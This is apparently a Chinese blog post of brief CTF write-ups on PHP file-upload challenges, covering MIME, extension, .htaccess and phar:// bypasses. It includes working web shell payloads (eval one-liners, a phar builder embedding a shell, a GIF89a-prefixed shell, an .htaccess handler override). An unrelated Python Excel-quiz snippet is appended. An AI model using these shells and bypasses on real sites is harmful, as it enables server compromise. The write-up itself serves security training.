文件上传刷题

1.[SWPUCTF 2021 新生赛]easyupload1.0

MIME验证不必多说

flag在phpinfo里面

 2.[SWPUCTF 2021 新生赛]easyupload2.0

后缀名是.php .php3 4 5 .pht phtml 都是指向php解析器

 

3.[SWPUCTF 2021 新生赛]easyupload3.0

传个shell.jpg和,.htaccess直接把shell.jpg解析为php

 4.[LitCTF 2023]作业管理系统

 就加了一个弱密码admin/admin其他跟上面一样的

5.[NISACTF 2022]bingdundun~

文件上传的奇葩,玩得好花。

仅可以上传墩墩喜欢的【图片或压缩包】文件类型哦

bp改包发现是白名单。

上传图片没有hatccess文件大概率行不通,只能看看压缩包了。在压缩包里面放个马

NSSCTF标签伪协议和phar,大概就是用phar伪协议
上传一个里面放有马的压缩包上传,然后用phar去读取

?bingdundun=phar://69033c43578ef97b1f22affbd929ad16.zip/1   (表示读取压缩里面的1.php)
然后还是上蚁剑。
后面发现,phar也可以。但是要写生成脚本。这里赋一个。

<?php
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("exp.php", "<?php eval(\$_GET['1']);"); //添加要压缩的文件,有时候会用到读取这里面的
    $phar->stopBuffering();

 


6.[GXYCTF 2019]BabyUpload
MIME上传个.htaccess

 不让上传带有<?php的,这里用下面的绕过

<script language='php'>@eval($_POST["a"]);</script>

7. [UUCTF 2022 新生赛]ez_upload

后缀用jpg.php

 

 8.[SWPUCTF 2022 新生赛]Ez_upload Leafzuz

MIME验证加后缀黑名单加文件内容过滤

 

9. [WUSTCTF 2020]CV Maker

(题目漏洞,flag放在phpinfo里面)网站刚好有一个phpinfo.php

注册后可以修改头像。会对文件头检查,我这直接在一个真实图片的后面插入一个马

 

 10.[SWPUCTF 2022 新生赛]file_master Leafzuz的WriteUp

读取index.php   过滤条件:MIME,文件头,图片很小,不能有php

和上题一样直接拿一个真实的小图,在后面加上不含php的马

 

 

 

 

<?=
@eval($_REQUEST["cmd"]); 
?>

GIF89a
<script language ="php"> phpinfo();eval($_REQUEST['cmd']); </script>

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
你可以使用以下代码来使用Python对Excel文件进行: ```python import pandas as pd import random df = pd.read_excel('Math.xlsx') hang = random.randint(0, int(df.shape\[0\])-1) print("目是", list(df.iloc\[hang\])\[1\]) print("选项是", list(df.iloc\[hang\])\[3:7\]) x = input("请从A,B,C,D四个选项中选出正确答案") if x == list(df.iloc\[hang\])\[2\]: print("回答正确") else: print("回答错误") ``` 首先,使用`pd.read_excel()`方法读取Excel数据,并将数据存储在一个Pandas的DataFrame对象中。然后,使用`random.randint()`方法生成一个随机数,该随机数的范围为DataFrame的行数。随机数生成后,使用`df.iloc\[\]`方法选择该行数据,并使用`list()`方法将该行数据转换为列表,然后使用索引取出目和选项。接着,使用`input()`方法让用户输入答案,并将用户输入的答案与正确答案进行比较,如果相同则输出"回答正确",否则输出"回答错误"。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [库随机出(python+excel)](https://blog.csdn.net/qq_59335499/article/details/124651718)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Python批量提取Excel文件中所有单元格批注](https://blog.csdn.net/oh5W6HinUg43JvRhhB/article/details/107031382)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值